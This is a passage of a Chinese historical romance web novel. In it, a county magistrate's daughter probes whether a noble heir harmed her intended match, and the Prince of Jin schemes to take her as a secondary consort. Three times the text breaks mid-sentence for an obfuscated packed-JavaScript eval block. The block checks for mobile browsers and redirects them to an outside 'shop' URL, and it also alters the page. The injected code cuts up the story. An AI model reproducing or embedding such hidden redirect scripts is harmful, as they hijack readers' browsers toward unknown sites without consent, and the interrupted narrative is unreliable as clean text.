在一阵阵惨至肺腑，此起彼伏的哭号声中，杨俭终于持刀赶来。 撞入眼底的便是被花丛挡住的一团团妇人裙摆，他猛一震力，长刀笔直插进歹人右胸。又跨前两步，快一息拧住其人手臂，顷刻扭断对方脖子。 被擒住的那名小姐扑通倒地，力竭吓晕，脖颈被勒出深深一道血痕。 遭此变故，又骤然失力，梅川香呕出一口酸水，虚弱地趴在前面。闵仪怜亦是恶心得紧，早有人失禁呕吐，气味更顶的她难受。 将人放倒，杨俭以身挡住骇人场景，转头逡巡众女眷。视线却倏然一顿，只见一团腌臜中，一张张惊恐扭曲的娇面中，有一张熟悉又陌生的脸。 月淡寒空，脸色虚白，明眸迷茫。 她撑起小臂半躺在地，死死咬着嘴唇，彼此眸光在空中交错。 竟是她。 那日他暗自回头躲在巷口，就见一位年轻小姐在娇蛮小婢的搀扶下坐进马车。虽是侧颜，他却记忆颇深，不知是哪家的姑娘。 背后响起连串疾步，杨俭狠戾回头，就见一鬓发微松的妇人从旁冲来。无视诸人衣裙上的秽物，她先一把提起小婢夹在怀里，另一手又去扯被挤在人堆中的女孩儿。 他欲伸手，忽觉不妥，只避过身等着。 闵仪怜双腿发软，裙摆又被谁人攥紧或踩着，几次才站起来。刚跨出人堆，外院再度传来一片沉重的脚步声，持刀府兵瞬间将内院包围。 又一阵黑影掠来，没等晋王命令，闵守节一进院就见自家女儿与妻子满身狼狈。当即冲过去，近前一看，怜姐儿小脸苍白，正虚弱地被妻子搂在怀里。他心疼得两眼湿润，上前将妻女环住。 略梳理凌乱的鬓发，闵仪怜躲进阴影里，待彻底压住发抖的身体，才从母亲怀里钻出，朝杨俭躬身行礼。 闵守节夫妇这才想起眼下是何种情景，一起将女儿挡住，也朝杨俭作揖。抬手将闵守节扶住，余光扫眼那道虚弱人影，杨俭迈步走回李桓身侧。 下人们将各自主人扶进花厅，以免被外男撞见这副狼狈姿态。 扶两个女孩儿坐在院子角落的坐凳上，姚凝小心擦拭女儿额上的血，不动声色观察众人。 忽而，她发现晋王森寒的眸光在院内荡过，在此处停了两息。 8. 议亲 在家中安养数日，闵仪怜额上的伤渐好。反倒是梅川香惊惧过度，昏昏沉沉大病一场，直至今日还在屋内躺着。 屋子里闷，府中有一处开阔小花园，其中凿开一处池子，养着各色小鱼，偶有白鹭停留。平日闲来无事，她总坐在杌子上垂钓。 有时会放饵，若钓上鱼再放回池中。有时将钩子吊在水面上，静待愿者。 她有一支极喜爱的紫竹洞箫，若天下雨就坐在廊下吹奏。有时是柳摇金，有时是自创的小调。落雨淅淅，小妹不能在池子旁玩耍，难得安静坐着，还能唱几句。 今日又独坐钓鱼，一位母亲身边的婆子来请。收回鱼竿挑帘跨入内室，姚凝正坐在罗汉床上，单手撑颌，手头没任何活计，显是专门在等她。 闵仪怜提裙坐下，身子前倾，任由母亲察看伤疤。当日她额上被撞出一片擦伤，蕴出红茵茵的血。手臂、面颊亦有划痕淤青，如今只剩浅浅一道印记，再过半月当看不出了。 姚凝这才安心：“老店的软膏的确好用。” 那日回府后，世子分别给各家送来一箱礼，表面只说安抚。 她发现自家的箱笼中藏着一盒专治伤痕的软膏，瞧着又香又细又密。家中父兄走南闯北，怎看不出药膏珍贵，极有可能是外邦的贡品。即便是杨世子这样的权贵，也不会随手赏给一位未曾谋面的官员家眷。她特地打听过，当日被挟持的另一位小姐并没有收到治疗伤疤的药。其余几家的，亦很寻常。 这是独一份给她女儿的。 后又听女儿说起那日在万宝阁的事，她越琢磨越不对味儿。又不好再送回，那盒软膏便被收入库房。想到那事，闵仪怜自己也觉不妥，面上尴尬，只低低应声。 姚凝向来明朗的面庞隐含郁色，比起尚不知底细的世子，显然另一人更令她心焦。 晋王那日不是在看相公，分明就是在看她的怜姐儿。 不只是男人看女人的眼神，多年恩爱夫妻，她知道男子看向爱人时该是何等的眷恋痴缠。那样的眼神，犹如即将将猎物吞入腹中的猛兽，古怪又绵长。 妇人心思敏感，看着对一切还全然无知的女儿，她忽而轻轻叹一口气。晋王是怎样的人，看相公终日绷着一张脸，生怕行差踏错就知。 就当她胡思乱想，不知好歹，也不愿让女儿与家世复杂的权贵抑或天家扯上任何关系。那绝对不是福气，就算做正室，凭女儿的性子与家世也必要受委屈。 况且，晋王比怜姐儿大十岁，前路未明，又有未过门的正妃。而世子未娶亲，日后会不会有妾室还未可知。 宴会闹出的动静太大，连知府都被下狱受审，晋王与世子忙于查案，想来在东昌也待不多时。发觉自己想得过于长远，她尴尬地灌一口茶，才引出今日正题：“可还记得赵伯伯？” 闻言，闵仪怜攥着袖口的手一松，莞尔应答：“怎不记得？赵伯伯是爹年少时的同窗，在几位故友中与他最要好。只是后来赵伯伯止步举人，才去凤阳一座书院当山长，两家离得远，来往才有些淡了。前些日子爹还同我说，赵伯伯卸任山长，一家人想来山东看望。若觉得好，就在此安家。” 推一杯果茶到女儿面前，姚凝点点茶盏，“瞧你这小嘴，都干瘪起皮了，下次去小花园让人留一壶茶。那松哥儿呢？他今年也有十六岁，正勤奋备考，听相公的意思，下次院试必能考中。如此年少，比起你爹当年也不差多少。” 闵仪怜心念一动，隐隐记起幼时见过几次。那时赵松总追在她身后笑嘻嘻喊妹妹，还爬树下水、捉虫捞鱼给她逗趣儿，约莫是个活泼的性子。听母亲的意思，也能猜出大概。 只是见一面，也不是要立刻定下，心里并不反感，她点了点头。 姚凝秀眉展开，也觉压在心口的气儿顺了。 赵松是独子，她从前看就觉是个好的，性子爽朗与怜姐儿正相合。据说现在长成一位翩翩少年，上门打听的女家亦不少。两家多年故旧，门第相当，赵家不缺钱财也不纳妾，人口简单，公婆开明。不论怜姐儿想做什么，定是全家支持。且若赵家定居临清，日后行走也方便，她才不想将女儿独自嫁到外地去。 怎么看，都是一门极好的亲事。 且看这次赵松来，两个孩子能不能合眼缘。就算他屡试不中，只要心性好能担事，待女儿好，女儿喜欢，凭赵家夫妇品行她也乐意。只要定下就都好了，交换庚帖，筹备嫁妆，小两口多多磨合，以及准备院试，一筐事忙完，正好有一两年再将女儿嫁出去。 心底隐隐不安，她只盼赵家人快些来，怜姐儿的婚事能顺畅和美。 又过十余日，闵守节却收到老友一封急信。 赵家走的是陆路，过兖州府时不知怎的赵松扭了脚。当时伤得颇为严重，人一急直接从山坡滚下去，这一摔恰摔在一块突出地表的大石头上，当场撞折了腿。 赵家人只好在兖州暂住，寻找名医帮儿子治腿。信中还向闵守节求助，若得名医名贵药材，赵家愿不计代价出钱。 搁下信，他微微叹息：“我这就给老友们写信寻找名医、松儿还小，身子骨健壮，伤定能养好。” 姚凝也轻叹，心道：“松哥儿年少，又多年苦读，此番摔伤必定心急院试，我需得提醒相公要他好生养着，哪处都比不得自己的身体。”转念又想，心却忽沉，“若腿真的就此折断，院试能不能去不好说，身有残疾是无法做官的。做不做官更是次要，那婚事……” 心里纠结，看一眼相公，又凝视坐在玫瑰椅内垂眸啜茶的女儿，她一时竟不知该怎么张口。 闵守节却一眼瞧出妻子的忧虑所在，心底亦不好受。焦急忧心老友的儿子是真，更在意女儿的婚事也是真。 他如何不知赵松此次情形凶险，痊愈的可能极低，不然老友怎会来一封急信，言下也有主动提出略过相看，再也不提，不想让他为难的意思。待赵松能动，若来临清养伤，这期间他该不该提起？故友之子刚出事，他便如同哑巴权当无事发生，未免无情。 思来想去，他还是道：“来日方长，他一家人来了，先帮忙寻一处宅子照料。天下名医这样多，只不过摔折了腿，又处理得及时，未必不能养好如初。” 姚凝眼皮突突直跳，额头青筋挤得生疼，总归是口头承诺。一会儿为女儿灼心，一会儿又搅着帕子可怜那孩子，艰难道：“我先给山西去一封信，日后调养都是大事，半分马虎不得。北方好药材多，也让母亲与嫂子们留意着。先越过这一道槛，旁的事……再说。” 一直不出声的闵仪怜却忽然道：“爹，我也想看信。” 接过两页信，她并不抬头，推说闵守节还有公务，先将人哄走。一字字仔细看过，抬眸看向母亲，她笑容发苦：“娘也觉得不对劲吗？” 信中比父亲口述更详细。 说那日一早下过小雨，天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058258|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色极好，赵松先前在客栈识得两个年轻举子，聊得很是投缘。即将分别，天各一方，也不知有没有再见之日，三人便约着爬上客栈附近一座矮坡。吟诗作画，登高望景，好不畅快，其间还喝了几杯小酒。 赵松爽快活跃，迎着耀日临壁作诗。却不料鞋子一滑，当即扭了脚，他大呼痛倒在地，旁的二人连忙上前来扶。前方是斜坡，赵松心里焦急，伸出双手去拉，这一扶却更不好，他没抓稳直接滚落坡下。 剧痛袭来，他又惊又惧，喊了两嗓子，上面却没有人回应。想自己爬上去，挣扎摸索，才发现腿折了。直至有路人经过才将他救上来送医，人到医馆时伤口化脓，高烧不退。 许是怕担责，两名外地举子早已收拾行囊不见踪影，事后赵家人也曾报官，依旧未能查到二人行踪，回想几日相处，其中确有古怪之处。可崴脚的是赵松自己，没抓稳两名举子的手摔下去的是他自己，就连主动结识二人的还是他自己。 从始至终，无人逼迫，到头来又能怪得了谁。 赵家人无可奈何，却也只能就此作罢，专心为儿子寻找名医。 姚凝眸色渐深，踟蹰该不该向女儿道出晋王之事，又忧心无法解决或是自己多想，反倒平添女儿愁思。 闵仪怜却先一步剖析：“爹曾说，赵伯伯夫妇平日为人亲和，常接济学子。一家人离开书院时，所有学生同僚都来相送，甚至还有几名当地的官员，可见他们人品贵重，也善梳理人情。至于赵松，年少热肠，不会与人结仇，两名学子同他不在一地院试，不像妒忌生事。这件事说凑巧是巧，说是人为……不无可能。他一家来临清，说是来看望父亲，其实最主要的就是要赵松与我相看。” 略一沉吟，姚凝斟酌开口：“孩子，这或许只是意外。待松哥养好伤，一切都会好起来的。” 闵仪怜摇头，往日明澈的双眸竟也黯淡：“娘，若真与我有关，哪怕一点点可能呢？就此囫囵略过，赵松日后当真再出事，我一辈子都不会安心的。就当我自作多情，娘，让我试一试世子。只要得了答案，心里也能好受些，我再去寺里祈福，只盼他平安。” 世子？ 脸色骤变，姚凝压低嗓音喝问：“仪怜，你一个未出阁的女儿家，怎敢如此大胆！万一……万一对方真有心思，你还敢凑上去，岂不是更不好。届时你爹也救不了你！” 攥紧兰花袖摆，闵仪怜抬眼看镜中的脸。 从小就有与母亲交好的妇人夸她的容貌。十三四岁开始，每去书肆，周围总有探究的目光，甚至有大胆的少年借买书与她攀谈。那日虽被吓得魂不附体，她还记得撞入那双眼睛时，对方眼底的怔愣。 如今回想，世子刻意挡住尸体是怕吓到女眷，事后也侧身回避，没有直愣愣盯着她衣衫不整的狼狈样子。探查杨皇后时，她也略知几分宋国公府。 家风清明，对子弟教导极严。 不可能，不可能是杨俭。 京中贵女何其多，她自问方方面面不能与之相比。且他怎会为才见过一面的人，做下此等阴毒之事。 可明知不合礼数，他偏偏还是送来药膏。即便她当日在万宝阁好心提醒过几句，寻常伤疤而已，怎能劳动世子送一盒难得的贡品。还是说，他天生就是热心肠，心胸坦荡，并不觉送一闺阁女子礼不妥，别人的善意当十倍送还，所以反赠贡品？ 她定了定神：“娘，让我去吧。” 9. 试探 杨俭站在楼上，双手撑住围栏。从此处观景，也能看到远方繁华的街道。 人流车马，酒楼茶肆，沿街卖唱的小贩，匆匆赶路的客商，一片生机盎然。人头稠密如同泼洒的墨色，相比寂寥的庭院，极其有活气儿。 他心情颇好，耳后乍响一道男声：“世子，今日不去县衙？” 李桓踱步走近，临栏远眺，温和朝他望来。 因共同巡察知府的案子，二人都住在了这座小园。 杨俭拱手：“王爷。”对上那对幽深的眼，他依言答，“此事牵扯甚广，理应由三司会审，又有王爷坐镇，其实与我没有太大干系。我不过是奉皇上的命令来临清押运粮食，再过些日子就该回京了。” 视线掠过县衙，李桓眸色深沉，看晴空靛青，烟波似纱，一如同那双雾蒙蒙的眼。 直至钟鼓镗镗，杨俭悄然后退，快步跨过二门，叫人备车马去茶馆。 早有掌柜等在门前，恭敬将他引入包房。案几备着温茶点心，恰能看见楼下说书先生执一柄薄扇，正绘声绘色，滔滔不绝。 正是午后消食，人困马乏的时辰。杨俭仰坐在圈椅中，略略放松，眼眸半阖。 茶馆客人不多，二楼更为空旷。木梯吱呀，隔壁包房也进来几人。茶水倾倒，轻缓的女声透过薄薄一层木板，并不十分清晰。 楼下又换另一位穿青衫的说书人。 一片绯红的裙角从余光荡过，杨俭甫一侧目，竟见那日脸蛋圆鼓鼓的小婢女正双手扣紧，听楼下说书入了迷。 不过片刻，她又远离围栏，后退半步，身影彻底看不见了。 闵仪怜正与蔡氏对坐，商讨从北方运一批货。 蔡氏三十几许，家中做的正是药材生意，常在东昌一带奔走，于公于私，少不得与闵姚两家有往来。 她言笑晏晏，平视端坐如竹的少女，感叹：“才一年不见，闵小姐已能打点生意。我在这个年纪时，整日还跟在父兄身后看账本。” 闵仪怜笑容恬淡，态度谦和：“家母近日身体抱恙，若不是事急，也不会是我来。只不过粗略懂一些，哪能在夫人面前卖弄。” 即便面对一小辈，蔡夫人却也态度实诚，不刻意谄媚讨好，也不仗资历油腔滑调，只道：“辽东有一批药材能治腿伤，走水路再一路打点，很快就到。我亦识得几位名医，若需要此次可一并将人请来。” 执起桌上的茶杯，闵仪怜面色诚挚：“夫人美意，晚辈愿在价钱上高出四成。我也知药材价贵，一路运送辛苦，以茶代酒先谢过。” 常年在多地奔走，蔡夫人眼尾已生细纹，她笑弯眉眼。见这孩子态度诚恳，深信闵氏夫妇人品，又与姚家有几十年的来往。知道此次事情急，略一抬眼，身边的婢子递上一张纸条。 她道：“那批药其实还未到最熟的时候，且一路运送，药效难免大打折扣。” 细润的眼眸在纸条扫过，闵仪怜了然。 大周与北蛮间有一片地界不明的土地，两国边军常起摩擦。那边的市面上流传着几种秘制药膏，颇有奇效。大周行商也时常偷运一批回来，再私下卖出高价，可谓一盒抵万金。 贵，自有贵的风险与回报。 怕她心有顾虑，蔡夫人将纸条收回袖中，轻轻点头：“明日我就要走，登船前，闵小姐随时可以派人告诉我答案。” 谈罢，又宽慰几句，才带婢女离去。 闵仪怜面色平寂，指尖轻叩桌面，清香的茶水在口中荡开。 叩门声忽而传来。 梅川香去开门，门外站着一个端正挺拔的男子，目不斜视，拱手问：“可是闵知县的家眷？” 梅川香回礼，一双大眼睛盯着对方，并不主动接话。 男子又道：“世子在隔壁包房，愿帮知县这一小忙。” 福了福身，梅川香恭敬问：“婢子这就与小姐回去将老爷请来。或者，请世子过县衙一叙？” 一道温朗沉缓的声音从隔壁透来：“不必麻烦，闵小姐在对面与我说罢。” 主仆二人对视，梅川香将椅子搬到隔着两间包房的薄木板旁，闵仪怜一掸袖袍，端方坐下，轻声道：“世子。” 杨俭呼吸微滞，却另起话头：“当日初到临清，幸得小姐提醒，才没有被地痞蒙骗，一直没有机会还出手之情。今日偶然听见小姐的谈话，杨家几代从军，若论骨伤，哪个比我更了解？我可修书一封，请宫中赐药。” 在他心底，上次送软膏是对于他鲁莽缉拿刺客，以致牵扯到她，令她受惊又受伤的赔礼。是另一桩事，与现在所谈的并不冲突。 几个呼吸后，闵仪怜的声音带着几分迟疑：“世子，这实在是……不敢担待。” “小姐以为，恩情是可以被衡量轻重的吗？当日随口提醒于你来说是小事，如今寻一盒药膏于我亦是。父亲常教导，不能忘记别人待你的好，自持身份以为理所当然，还望小姐全了我这份心愿。” 那有力铿锵的声音穿透木板，传入耳中分外清晰。闵仪怜唇角一抿，又慢慢绽开。 “可是家中母亲生病？”他问。 “并非，是……父亲的一位故交。他一家本要来山东看望，路上他的独子不慎跌折腿，伤口化脓极为凶险。我全家自也是焦急万分，四处寻医问药。世子慷慨相助，小女不敢自专，需回去请示父亲与母亲。” 她起身拜退，出门朝那名护卫再谢，才往家去。 不枉连日派人蹲守杨俭喜欢去的茶馆酒肆，今日才能“巧遇”。若对方真存着心思，必不愿见赵松伤好，即便出言相帮，也只是口头允诺。 是否要接受杨世子的好意，的确要与家中商量。 车轱辘咄咄作响，马车刚停在后门，巷口又传来一阵马蹄声，又急又沉，紧紧密密。 她正站在车上，一手搭住梅川香准备下去，来人已拉紧马绳急停。 杨俭骑高头大马，戴大帽，脚蹬缎靴，着一套墨绿云纹直身，腰间一条金嵌珠宝螭头绦钩腰带。他单手扯住缰绳，浓密的眉眼捎着急色。 看着愣在车上的闵仪怜，他眼瞳微缩，又移至梅川香身上，另一手攥紧一只白瓷小瓶，往下递了递：“我忽而想起此次过来，父亲将它塞在我的箱笼里，先前没能想起。既然他伤得重就先拿去用，其余的十日之内必能送达，约莫三瓶就能大好。闵小姐，莫再伤心了。” 最后那声音轻轻的，柔柔的，似在安抚又似在自语。 梅川香亦呆愣在原地，直到手被轻轻一按，才转目看自家小姐，以眼神询问该不该接下。 从来没有感受过这样直白的，丝毫不掩饰的情感，闵仪怜轻咬红唇，旋即稳稳接住自家小婢女的手下车。仰头看杨俭，深深一拜，垂眸道：“还请世子入府，我请父亲母亲一起拜谢。” 看着面前俯首的少女，他只能看到那一头浓密乌黑的发，一支金镶玉步摇轻轻打颤。雪青纱衣下消瘦的肩，随风荡起的白线裙。 头一次对一个姑娘心生好感，他便想寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058259|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由头多看看她。她是怎样的人，叫什么名字，平日又喜欢做什么。 可寥寥三次相见，第一次他只闻其声，自己不过是她随手相帮的生意人。第二次他身份明了，亦知晓她原是知县的女儿，却惹得她满面是伤，特地夹带药膏在箱笼，她却没有用。若用了，不会直到今日还能看到一点极其浅淡的痕迹。 这一次，她依旧恭敬有礼，进退有度，虽温润却也疏离。 似乎是他过于急躁，才让她心生抵触。 他是国公独子，她是知县之女。身份有别，男女有防，只能从零星碰撞中窥探她的性情。旁的关系，便什么都没有了。 他忽而一抛，将瓷瓶丢在后面的小婢女怀中。未等答谢，打马而去。 之后闵知县定会上门感谢。日子长久，一来一往，就有了关系。 接过瓷瓶轻嗅，闵仪怜五指攥紧，竟罕见怔忡，望着空荡荡的巷口无言。 好一颗赤子心。 伤害赵松的，不是他。 确定不是杨俭所为，她不觉轻松，反倒一颗心沉沉下坠，顿生烦恼。 思忖良久，才提裙迈步内院。 半路管家亲自来请，爹娘唤她去正厅。那语气中有几分忧急，几分严肃，甚至有几分不忍。 她径直转步走向正厅，甫一进去，就见姚凝与闵守节一左一右坐在黄花梨木椅上。仆婢都被遣至外院，只管家在院门站着。 “爹，娘？” 这一次却是闵守节先开口，他小眼拧着，满面愁容，招手道：“先过来坐。” 待闵仪怜坐定，吃过小半盏茶，他才一点点说给女儿听：“今日一早，公羊青雄来了，便是上次你在书室外遇见的老先生。他将爹娘请到正厅，言辞间提及晋王。那意思极隐晦，便是……” “晋王欲纳你入府。” 姚凝再也坐不住，夺步走近，俯首左右看闵仪怜脸色。见女儿面色稍白，尚能稳住，才缓缓道：“这不是在商量亲事，只是先给家里透个底，他已快马传信回京师请旨，只要宫里准了便是板上钉钉。明年与正妃大婚后，就迎你入府为次妃。” 闵仪怜猝然仰首，双眼莹润：“娘，我不愿。” 她不愿为妾，更不愿成为晋王的女人。 她只想寻一位知心妥帖的夫婿，夫妻恩爱，长久地陪伴在爹娘身边。 大周皇室选妃不重家世，只要身世清白，端方守节的女子就能入选秀女。可这是晋王请旨求次妃之位，是要上玉碟的，不需通过重重考验，至多半月便有结果，她没有时间筹谋。 闵守节一颗心绞痛，若不是因他，晋王怎会盯上怜姐儿。好一个次妃之位，晋王是觉得让女儿为皇家妾是恩赐，是别人跪着求来的吗？他难得脾气上来，哪怕为正妃也不稀罕。 他冷声道：“即便辜负老友，弃了松哥儿，爹也要立刻为你择一门好亲事。他晋王再专横，难道还能强纳别家妇入府！届时弹劾的奏折，只怕要堆满皇上的御案。” “爹！” “相公！” 闵仪怜与姚凝惊得同时出声，吃下苦茶，三人皆已冷静。 不甘心，不愿意，不能忤逆天家，不能扯别人下水，不知所措，各种情绪交错摇摆，几颗心沉沉浮浮，凉透又隐含星火，无言压抑的情绪在厅中蔓延。 猛一抬眼，闵仪怜语调平寂：“纳一妾得一良将，何乐不为？不论他最后会不会纳妃，都铁了心逼爹站队。争储不是小事，您，做出最后的决定了吗？” 10. 请婚 若爹决定站在晋王一方，她愿入府为家里博一份安稳未来。若爹准备在推行政令后，舍弃如今的官位，只求晋王高抬贵手，她就与家人回归乡野。 闵守节愤怒又无可奈何，大袖下的拳紧了又紧，终于下定决心：“爹欲辞官，绝不会赔上你的一生。以及，我要给柏贞去一封信，彻底绝了晋王的心思。” 他霍然站起，以眼神安抚妻女后，毫不犹豫地大步朝书室去。 久违地听到那人的名字，闵仪怜神思微散，靠在圈椅中，捧起温热的茶盏沉思。 她忽然想起一物，捧到姚凝面前，简略说了今日之事，疲惫问：“娘的意思呢？” 姚凝心底烦乱，亦强打起精神：“药是好药，没道理为避嫌退回去，我会让相公携重礼上门，好生感谢世子。松哥儿的腿一日耽误不得，娘派人快马送去。只是，世子……” 轻轻点头，闵仪怜道：“世子光明磊落，往后我们淡着些，他终究会明白。就让赵伯伯一家人在兖州安心养病，备考院试，其余事莫要再提。” 直至日落西山，母女二人还在厅中坐着。 望了眼天色，姚凝起身，面上挂笑地走过去，携起女儿的手问：“可是饿了，娘做碗面条暖肚如何？要放细细的葱丝、几滴香油、再切几片薄薄的肉，加一个蛋。” 闵仪怜抿笑摇头，站起挽住姚凝僵直的手臂，亲昵晃了晃：“不必，令厨房上备一桌席面。待爹过来，我们一家人好好说说话。前些日子，女儿绣了一顶帽子，还有两只香囊，正好让爹娘和小妹看看合不合适。” 她怕，以后没机会了。 “晋王，恐怕比预料的还难对付。就算我们一家人归乡，他也有的是手段逼爹做事。” “姐姐！” 闵慈音探出半个脑袋，双手扒住门框，小嘴嘟着，低垂眼睫，不知在门外偷听了多久，她忧心忡忡：“姐姐这么好，既美丽又博学，万一他就是看上怎么办？他怎么这么坏！” 屋内的母女皆顿住，对视一眼，竟是无话。 又过半月，潮潮河水向东流，天朗气清，惠风和畅。 李桓收到京师传来的两道消息。 第一道是宫中以八字不合，不宜婚配为由否了他的请旨；第二道则是安插在宫中的内人寄来的一封信。 症结的关键在于他的生母，淑妃陈氏。 数年前杨皇后曾为他定下大理寺卿郑家，后他被放逐山西，郑家不愿嫁女，以各种缘由拖延婚期。皇上可以尽情羞辱自己的儿子，却不准外人一起作践他。 郑小姐一心遵循婚约，却一等等了五年，生生蹉跎年华。待皇上终于消气，似乎才想起这桩陈年婚事，又做主将郑氏指给二子礼王为继室。 后李桓回京，皇上再为他与左都御史吴家赐婚。 请期前，吴大姑娘的母亲病亡，她需守孝三年，婚事又被拖延。 庆王儿女成群，晋王府却连一位姬妾都没有。许是当年宫女之事令李桓生厌，寻常女子都不能入他眼，淑妃万分急切，日夜忧心有了心症。时常四处搜寻适龄女子，甚至私下求医问药，怀疑儿子有隐疾。无论官眷抑或平家之女，娇媚丰腴，素雅柔弱，清冷出尘，她将各色女子挑花眼，李桓却一概拒绝，为此母子二人没少争吵。 此次他主动请封次妃，淑妃原本大喜过望。 闵仪怜的生辰八字，画像与记录家世品行的册子被快马加鞭先送入淑妃的万安宫。 看到画像的第一眼，她愣住了。 美，的确美。 但此女竟与她平生最厌恶的贵妃是同一类，一样的绝丽脱俗，一样的诗书礼乐无不精通。生得楚楚可怜，纤弱无骨的勾人模样，瞧那身段，就不是容易得孕的身子。 这也就罢，闵氏平日言行毫无教养，简直狂悖。不尊女训，爱读一些上不得台面的话本禁书，其中内容时常涉及酒肆勾栏，浑话连篇不堪入目。就这般，竟还是进士家的女儿！ 淑妃气得发抖，立时派心腹嬷嬷携闵氏八字去寺里，甚至又连请数位高僧来宫里算。每一次都是八字相冲，乃大凶之兆。闵氏本身的八字没有问题，但与她儿合在一起，定会祸害他儿福运，令她儿短寿！ 偏李桓向皇上进言，将闵氏夸得是天上的月亮，夸闵家家风严明。他第一次请婚，也只是知县之女，皇上本已应下。 淑妃去求了，闹了，她粗笨无趣，从不懂琢磨圣心，本就无宠，更惹得皇上厌烦至极。淑妃此人也是个能人，倔人，顽人，一次不行就两次，两次不行就日日都去。 长跪御前，啼哭不止。 顾及晋王脸面，皇上没有发落她。淑妃却愈挫愈勇，知道皇上也极为信佛，只拿八字与几位大师的话去堵他的口，以及正妃还未进府不该纳次妃云云，旁的一概不再提。 连日搅得皇上想起这桩婚事就心烦，最后一拂袖就此作罢。念及淑妃爱子心切，只是禁足半月以作惩罚。 看过信，李桓忽而嗤笑一声，竟没想到从前最热衷为他纳美的母妃，这次却是反对最激烈的人。 他闭目养神，仰靠在椅背上，光影圈在面庞。一半阴寒，一半却温煦。良久，起身踱步出正厅，一路从院中出去，不觉来到西侧的二层小楼下。 恰见杨俭又在登高望远，他拾级而上，与其并肩远眺。摆手免去对方拜礼，李桓凝着眉，半晌才问：“再有一月，世子也该回京了。” 杨俭道：“临清的风光的确让人留恋，可终是要走的。至多两月，王爷亦会还朝。我在此提前恭贺。” 此番晋王不仅将政令推行得极快极顺，更是接连踢下一位四品知府，一位三品户部侍郎。光抄家的雪花银就令皇上展颜，可谓大获全胜，双喜临门。据说气得庆王日日在府中指天怒骂，又无处发作，正密谋着如何扳回一局。 待晋王归京，二王之间势必要再起波澜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058260|194929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲话几句，杨俭先行离开。李桓却在想究竟要如何对待闵守节，能顺利扳倒政敌，此人当记一大功。 晨时的风透彻心脾，丝丝凉意穿透衣衫刺入骨中。他随意一瞥，漆黑的瞳仁顿住。 从楼上望去，恰能窥见县衙后院一角。 闵仪怜斜坐在回廊下，披一件丁香紫披风，柔顺乌黑的发随意挽着，悠长的发带随微风浮动。 她正在喂鱼，纤细的手懒懒搭在栏杆上，不时从腰间荷包捻出几粒饵料。或者掰碎旁边大漆方盘上的点心，抛一点给鱼儿。 美人揽坐，别有风姿。 调转脚步，李桓绕着楼面走了半圈。发觉只在这个位置时，能看到花园假山石附近的景。 回想先前，杨俭时常登临这座小楼，有时一站就是一天。甚至有一日对弈，公羊青雄偶尔提起，世子观景入迷，被淋湿半个肩头都没发觉。唤他下来，竟还不愿，着实是个耿直的主。 只怕令他看痴眷恋的，不是临清的景，而是藏于园中的丽人。 单薄的眼微眯，李桓盯着廊下那人恬淡的笑颜。自提过婚事，闵氏已许久没出过门。 闵家…… 他从不信鬼神之说，哪怕为迎合父皇的心思，几名住持中也该有一人算出他与闵氏八字相合。如此笃定必是不给一丁点可能，不愿让他成好事，此事说凑巧也巧，说是人为不无可能。能让所有人统一口径，又不是因为钱财，有意思。 宋国公府，杨世子，杨俭。 是你在背后筹划吗？ 转头回到厅中，公羊青雄已候在里面。他撩袍坐下，令对方也坐，看着杯中浮起，被困在一方天壁中的青茶，呷一口问：“闵守节提了辞官，先生以为，本王当如何？” 掐着时辰，公羊青雄才开口：“眼下知府一任空缺，王爷本还准备借此时机提他一提，未料他又被吓破胆，竟以早年旧疾为由要归乡。看来属下这几月的提点在他处全都作废了，如此不经事，不如就让他归乡，一辈子在山野打转。” 李桓不置可否，公羊青雄终究问：“王爷已有打算？属下必当竭力。” “先生有大才，在天象命势上亦有精研。那便请先生去济南府请一人，为本王谋一件事。此事每一环，都需与先生细细敲定。” 公羊青雄起身作揖：“王爷放心，属下明日就启程。那闵知县……” “想辞官？先拖他一拖，说不定过不多时，他还得跪下叩谢本王叫他高升。”微一甩袖，李桓吩咐，“按这份单子，叫孙高义尽快备齐送来临清。令陶氏将在山西时的府中人都聚齐管教，重新修葺梅园，备着一年后迎新主。” 公羊青雄一一应下，接过单子拢到袖中。孙公公是府中总管，陶氏管理后院，二人此次都留在京师，没有随王爷一道过来。故而大事小事，先由他统管。 直至清辉月色泼洒在屋前，他才从厅中出来。微一叹息，渡着华光迈步远去。 11. 强纳 近日城外的寒山寺极其热闹，慧空上师游历到临清，在寺中暂且住下。 他会观星看运，相面卜算，连太祖都曾将他引入宫中密谈。后来他一寸寸走过大周土地，耄耋之年，身体依旧硬朗。 闻得消息，整个临清都沸腾了。 